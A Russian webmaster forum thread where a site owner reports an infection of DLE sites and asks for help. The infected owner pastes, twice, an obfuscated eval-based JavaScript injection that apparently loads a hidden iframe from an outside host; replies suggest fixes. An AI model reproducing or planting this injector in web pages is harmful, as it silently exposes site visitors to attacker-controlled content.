Вирус на сайтах DLE
Страницы: 1
Вирус на сайтах DLE
Здравствуйте! У меня уже на втором из сайтов начал появлятся вирус. И вверху шаблона пишит #f1dd73# if(empty($ul)) { $ul = " "; echo $ul; } #/f1dd73#
Я зашол в сам шаблон и нашол такой странный код, который был у меня на всех сайтах с этим вирусом:
<!--f1dd73--><script type="text/javascript" language="javascript" > jvbs="s"+"p"+"l"+"i"+"t";clbw=window;tgxd="0"+"x";ecmwv=document;dkfk=(5-3-1);try{--(ecmwv["body"])}catch(mypot){trdwqy=false;try{}catch(wny){trdwqy=21;}if(1){xzmb="5d:6c:65:5a:6b:60:66:65:17:69:6f:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:69:6f:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:69:6f:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:64:5c:71:5f:62:66:64:5f:66:63:5b:60:65:5e:25:69:6c:26:5c:6a:5b:25:67:5f:67:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:28:30:2d:2a:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:28:30:2d:2a:67:6f:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:28:30:2d:2a:67:6f:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:28:30:2d:2a:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:28:30:2d:2a:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:6f:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:69:6f:53:1e:17:5a:63:58:6a:6a:34:53:1e:69:6f:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:6f:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:69:6f:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:69:6f:27:30:1f:20:32:4:1:74:4:1:74:4:1"[jvbs](":");}clbw=xzmb;qnd=[];for(dtgr=22-20-2;-dtgr+1382!=0;dtgr+=1){jav=dtgr;if((0x19==031))qnd+=String.fromCharCode(eval(tgxd+clbw[1*jav])+0xa-dkfk);}jcyzo=eval;jcyzo(qnd)}</script><!--/f1dd73-->
Удалив этот код с шаблонов изменений не произошло( 
Может кто-то поможет
на хост зайди и там ищи вирус
Напишите ссылку на сайт, чтобы было на что смотреть, тем кто захочет помочь
Могу помочь с лечением. Пишите в личку или лучше Skype : Admin_DarkAbyss.org
Цитата
tops пишет:
Здравствуйте! У меня уже на втором из сайтов начал появлятся вирус. И вверху шаблона пишит #f1dd73# if(empty($ul)) { $ul = " "; echo $ul; } #/f1dd73#
Я зашол в сам шаблон и нашол такой странный код, который был у меня на всех сайтах с этим вирусом:
<!--f1dd73--><script type="text/javascript" language="javascript" > jvbs="s"+"p"+"l"+"i"+"t";clbw=window;tgxd="0"+"x";ecmwv=document;dkfk=(5-3-1);try{--(ecmwv["body"])}catch(mypot){trdwqy=false;try{}catch(wny){trdwqy=21;}if(1){xzmb="5d:6c:65:5a:6b:60:66:65:17:69:6f:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:69:6f:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:69:6f:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:64:5c:71:5f:62:66:64:5f:66:63:5b:60:65:5e:25:69:6c:26:5c:6a:5b:25:67:5f:67:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:28:30:2d:2a:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:28:30:2d:2a:67:6f:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:28:30:2d:2a:67:6f:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:28:30:2d:2a:1e:32:4:1:17:69:6f:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:28:30:2d:2a:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:6f:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:69:6f:53:1e:17:5a:63:58:6a:6a:34:53:1e:69:6f:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:6f:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:69:6f:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:69:6f:27:30:1f:20:32:4:1:74:4:1:74:4:1"[jvbs](":"smile;);}clbw=xzmb;qnd=[];for(dtgr=22-20-2;-dtgr+1382!=0;dtgr+=1){jav=dtgr;if((0x19==031))qnd+=String.fromCharCode(eval(tgxd+clbw[1*jav])+0xa-dkfk);}jcyzo=eval;jcyzo(qnd)}</script><!--/f1dd73-->
Удалив этот код с шаблонов изменений не произошло(
Может кто-то поможет
Седня целый день ушел на востановление бекапов, такая же зараза завелась на всех абсолютно сайтах, всего пострадало 10!сайтов находящихся на хостинге джино.
Мои действия, сменил пароли от ftp (уверен причина в этом).
Удалил все сайты, и восстановил бекапы за 8 число. Пока все чисто.
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
23:03 monetizer.agency – рекламная сеть для взрослого и развлекательного трафика. 100$ новому вебмастеру 
07:34 биржи в 26-м окончательно сдохли или кто-то еще ковыряет этот шлак? 
06:47 В Яндексе позиции держатся, а трафик проседает - стало заметно сильнее 
06:34 Что такое Яндекс Икс / Как накрутить Яндекс ИКС 
06:21 ИКС Яндекс АПдейт 1 апреля 2026. Обновлён алгоритм расчёта 
05:34 Claude по паспорту + апдейт Яндекса 17 апреля - у кого что по выдаче 
21:29 Без просмотра рекламы к контенту не пустят? AdSense вводит Offerwall для всех 
22:47 Volna.money 
22:45 GoodsMoney.io 
21:54 [SOFT] Мультиканальный ИИ-агент (Telegram + API): Автономный контент и Smart Engagement (Llama 3.1 / Groq) 
19:29 BIGPROXY.SHOP - Резидентные Ротационные Backconnect Proxy USA EUROPA MIX [Безлимитный трафик] 
17:16 buyingproxy.com | $0.95/GB Residential Proxies - 80M+ IPs | No Bandwidth Expiry 
14:22 E-currency.exchange — ваш помощник в мире обменов 
11:35 Mixmasters - Exchange without AML and KYC 
23:00 арбитражники 
22:50 Список обновленных тем пуст... 
18:58 Ставки на супер тренды в спорте 
07:46 Осталось 3-5 месяцев до блокировки YouTube в России, — заявил Клименко 
23:50 Точные прогнозы на футбол 
21:08 Подтягиваем физкультурку 
16:29 С юмором по жизни!